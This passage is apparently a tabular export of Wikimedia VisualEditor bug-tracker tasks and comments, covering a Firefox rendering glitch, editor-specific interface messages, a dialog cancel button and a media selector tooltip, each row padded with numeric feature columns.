237159,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,*** Bug 71651 has been marked as a duplicate of this bug. ***,,,1412495213,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 71651 has been marked as a duplicate of this bug. ***
237152,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,"Upstream bug has been marked as fixed since 2014-06-19 15:05:07 (for FF33 - currently in Aurora, which seems to be fixed to me), marking this as fixed as well.",,,1408815618,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,3.0,16.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.4473684210526314,0.7894736842105263,"Upstream bug has been marked as fixed since 2014-06-19 15:05:07 (for FF33 - currently in Aurora, which seems to be fixed to me), marking this as fixed as well."
237145,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,Seems to be already reported as https://bugzilla.mozilla.org/show_bug.cgi?id=727125,,,1401826563,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,Seems to be already reported as URL
237138,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,Filed as https://bugzilla.mozilla.org/show_bug.cgi?id=1009874,,,1400018028,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Filed as URL
237129,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,Firefox-specific rendering bug.,,,1375765683,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Firefox-specific rendering bug.
237122,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,"Created attachment 13057
Screenshot of beta with overline

This is from a few hours ago on enwiki.  It is reproducible (try a fresh account on enwiki), almost 100% of the time (one load seemed not to do it).

**Attached**: {F11270}",,,1375503720,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,4,,2.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,5.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.305084745762712,0.7966101694915254,"Created attachment 13057
Screenshot of beta with overline

This is from a few hours ago on enwiki.  It is reproducible (try a fresh account on enwiki), almost 100% of the time (one load seemed not to do it).

**Attached**: {F11270}"
54471,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","en.wp user Andrew Gray notes that on creating a page in VE he is given several alternatives to writing a new article, one of which is to search for an existing page to redirect the title to. He asks whether this should be offered to VE users while it does not support redirects.

However, the message is provided by [[MediaWiki:Newarticletext]] and the text is served identically in the source and visual editors. There is no current mechanism to detect in which editor it is being displayed so different content cannot be provided.

There will be occasions where such messages and also edit notices are only relevant to either source or visual editor users or are differently relevant. In other cases the different display formats (e.g. generally horizontal in source, generally vertical in visual) may lead to different presentation choices for optimum impact.

As it is not inconceivable that there will in future be other editors (developed by WMF or others) there should be some way for the editor to uniquely declare itself to such messages and for them to be able to determine what they do if they don't recognise the response. Sort of a:
IF editor=""VisualEditor"" THEN do X ELSE do Y

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1375469280,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-lusyegvtclbce7nfsesb,task_description,open,True,c1,3,False,False,,4,,0.6666666666666666,0.0,0.0,2.3333333333333335,1.3333333333333333,7.666666666666667,2.6666666666666665,0.0,0.0,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,6.333333333333333,12.333333333333334,0.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,4.666666666666667,1.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,13.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,4.0,5.666666666666667,7.666666666666667,2.6666666666666665,2.3333333333333335,6.0,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,3.3333333333333335,12.333333333333334,3.3333333333333335,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,1.3333333333333333,1.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.6666666666666666,4.293172690763051,0.7429718875502008,"en.wp user Andrew Gray notes that on creating a page in VE he is given several alternatives to writing a new article, one of which is to search for an existing page to redirect the title to. He asks whether this should be offered to VE users while it does not support redirects.

However, the message is provided by [[MediaWiki:Newarticletext]] and the text is served identically in the source and visual editors. There is no current mechanism to detect in which editor it is being displayed so different content cannot be provided.

There will be occasions where such messages and also edit notices are only relevant to either source or visual editor users or are differently relevant. In other cases the different display formats (e.g. generally horizontal in source, generally vertical in visual) may lead to different presentation choices for optimum impact.

As it is not inconceivable that there will in future be other editors (developed by WMF or others) there should be some way for the editor to uniquely declare itself to such messages and for them to be able to determine what they do if they don't recognise the response. Sort of a:
IF editor=""VisualEditor"" THEN do X ELSE do Y

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235976,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","I don't think there should be a control for separate interface messages.

However either way, meanwhile a workaround is to use a CSS selector (.ve-available or .ve-not-available) to hide or display certain pieces.",,,1378320091,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lusyegvtclbce7nfsesb,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,9.0,7.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.8043478260869565,"I don't think there should be a control for separate interface messages.

However either way, meanwhile a workaround is to use a CSS selector (.ve-available or .ve-not-available) to hide or display certain pieces."
235968,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","Yes, that does sound far simpler to implement! More difficult to keep the two in synch, but I suppose you can't have everything.",,,1375472876,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lusyegvtclbce7nfsesb,task_subcomment,,True,c1,3,False,,,4,,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,14.0,4.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.7857142857142856,0.9285714285714286,"Yes, that does sound far simpler to implement! More difficult to keep the two in synch, but I suppose you can't have everything."
235960,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","One possible way to do this is using a different interface message for VE in such cases. MediaWiki:Newarticletext-VE for example.

This looks apparently more simple to do than creating yet another programming language to control such logic on the message itself ;)",,,1375470158,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lusyegvtclbce7nfsesb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,16.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,4.571428571428571,0.8367346938775511,"One possible way to do this is using a different interface message for VE in such cases. MediaWiki:Newarticletext-VE for example.

This looks apparently more simple to do than creating yet another programming language to control such logic on the message itself ;)"
54462,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","What it says on the tin: The transclusion editor should have a ""cancel"" button next to ""Apply changes"". This would close the editor without saving any changes.
Possibly it should require a confirmation if one or more templates have been selected.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52386",Medium,50.0,1375460340,1410807070.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_description,resolved,True,c1,3,False,False,False,4,,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,13.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.0,5.0,0.0,0.0,5.0,0.0,3.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,3.858974358974359,0.6153846153846154,"What it says on the tin: The transclusion editor should have a ""cancel"" button next to ""Apply changes"". This would close the editor without saving any changes.
Possibly it should require a confirmation if one or more templates have been selected.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
235532,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","(In reply to John Broughton from comment #8)
> If in fact the link tool and the Formula window are outside the scope of this>
> bug, feel free to close the bug

They are. This bug is about dialogs.

Design questions about non-dialogs is a distinct question – raising another ticket is probably a good idea if you think they should be changed.",,,1410807070,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,63,,0.0,0.0,0.0,2.0,0.0,6.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,10.0,15.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.9038461538461537,0.8076923076923077,"(In reply to John Broughton from comment #8)
QUOTE
QUOTE

They are. This bug is about dialogs.

Design questions about non-dialogs is a distinct question – raising another ticket is probably a good idea if you think they should be changed."
235527,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","As noted previously, there no ""Cancel"" button on the link tool (dialog? insert window?). Also, there is no ""Cancel"" button on the Formula dialog (insert window?). 

I'm reopening this bug because otherwise - in ""Resolved"" status - this bug is much more likely to be ignored. If in fact the link tool and the Formula window are outside the scope of this bug, feel free to close the bug - then we'll know that we need to open a new, separate bug to address those two issues.",,,1407699259,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,57,,1.0,0.0,0.0,1.0,0.0,4.5,1.0,0.5,0.0,1.0,2.5,1.5,0.0,0.0,0.5,2.5,0.0,4.5,10.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.5,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,5.5,2.5,1.0,10.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,2.5,10.5,3.0,1.5,3.0,0.0,2.5,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,3.477597402597403,0.6943181818181818,"As noted previously, there no ""Cancel"" button on the link tool (dialog? insert window?). Also, there is no ""Cancel"" button on the Formula dialog (insert window?). 

I'm reopening this bug because otherwise - in ""Resolved"" status - this bug is much more likely to be ignored. If in fact the link tool and the Formula window are outside the scope of this bug, feel free to close the bug - then we'll know that we need to open a new, separate bug to address those two issues."
235521,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","There is still no ""Cancel"" button on the link tool.",,,1407651731,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,57,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.9230769230769231,"There is still no ""Cancel"" button on the link tool."
235517,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""",This was done as part of the window redesign work.,,,1406063829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,1.0,This was done as part of the window redesign work.
235509,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","A user at en.wp has reported that they were unaware that the ^ button on the save page dialog would return them to the article. Consequently they were under the impression that the only options were to preview the changes, save the changes or abort the edit, i.e. there was no way to go back and make addition changes or fix ones they had already made.

A cancel button as discussed in this bug would solve this, although I think labelling it something like ""return to editing"" would be better than ""cancel"" here (which could imply discarding the edit).",,,1377683762,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,8,,0.0,1.0,0.0,0.0,0.0,2.0,2.5,0.0,1.0,0.0,3.0,0.0,0.0,0.5,0.5,1.0,1.0,3.0,10.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,2.5,0.0,1.5,2.0,1.0,0.5,0.0,0.0,1.0,2.0,0.0,0.5,2.5,0.0,2.0,0.0,1.5,0.5,0.0,0.5,12.5,1.0,1.0,1.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,3.0,3.0,2.5,2.5,9.5,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,10.0,0.5,0.0,3.5,0.0,4.0,0.0,1.0,1.5,0.5,2.0,1.0,0.0,0.5,4.071428571428571,0.7857142857142857,"A user at en.wp has reported that they were unaware that the ^ button on the save page dialog would return them to the article. Consequently they were under the impression that the only options were to preview the changes, save the changes or abort the edit, i.e. there was no way to go back and make addition changes or fix ones they had already made.

A cancel button as discussed in this bug would solve this, although I think labelling it something like ""return to editing"" would be better than ""cancel"" here (which could imply discarding the edit)."
235501,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","I think a cancel button makes perfect sense from a UX point of view for dialogs.

Closing would be an alias of cancel, but that's not the primary flow for a user.

Closing windows is always a bit of awkward and uncertain action to take.",,,1375493049,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.730769230769231,0.7884615384615384,"I think a cancel button makes perfect sense from a UX point of view for dialogs.

Closing would be an alias of cancel, but that's not the primary flow for a user.

Closing windows is always a bit of awkward and uncertain action to take."
235495,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","(In reply to comment #2)
> Yes, I've seen it mentioned a couple  of times that people aren't sure what
> state clicking the ""X"" will leave things in. Will it cancel everything
> they've done, cancel only unfinished/unapplied changes, or close with
> everything in its current state finished or not.

* A ""rubbish bin"" icon (on lightweight inspectors, but not dialogs) is Option 1.
* An ""X"" icon (on dialogs, but not inspectors) is Option 2.
* The ""apply changes"" button (on dialogs, but not inspectors) is Option 3.

Clearly this isn't ""obvious"" enough; we should consider what more we can do.",,,1375492557,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,4.0,14.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,2.0,5.0,4.0,0.0,8.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,3.0631578947368423,0.5052631578947369,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

* A ""rubbish bin"" icon (on lightweight inspectors, but not dialogs) is Option 1.
* An ""X"" icon (on dialogs, but not inspectors) is Option 2.
* The ""apply changes"" button (on dialogs, but not inspectors) is Option 3.

Clearly this isn't ""obvious"" enough; we should consider what more we can do."
235491,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","Yes, I've seen it mentioned a couple  of times that people aren't sure what state clicking the ""X"" will leave things in. Will it cancel everything they've done, cancel only unfinished/unapplied changes, or close with everything in its current state finished or not.",,,1375486468,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,4,,0.0,4.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,5.0,0.0,2.0,0.0,2.0,0.0,5.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,5.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,7.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,9.0,9.0,0.0,0.0,4.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.982142857142857,0.8035714285714286,"Yes, I've seen it mentioned a couple  of times that people aren't sure what state clicking the ""X"" will leave things in. Will it cancel everything they've done, cancel only unfinished/unapplied changes, or close with everything in its current state finished or not."
235487,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","This functionality is currently provided by the ""X"" in the top-right corner (as for all dialogs). Is a duplicate button needed?",,,1375482783,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,4,,3.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,10.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.689655172413793,0.9310344827586207,"This functionality is currently provided by the ""X"" in the top-right corner (as for all dialogs). Is a duplicate button needed?"
54459,"In the VisualEditor media selector, show the name of each file so it can be identified","User:Wouterstomp at en.wp suggests that in the media selection dialog, the full name of an image should be shown in a tooltip when you hover over it. Either for all images or only those whose name is too long to be shown in full beneath the image.

--------------------------
**Version**: unspecified
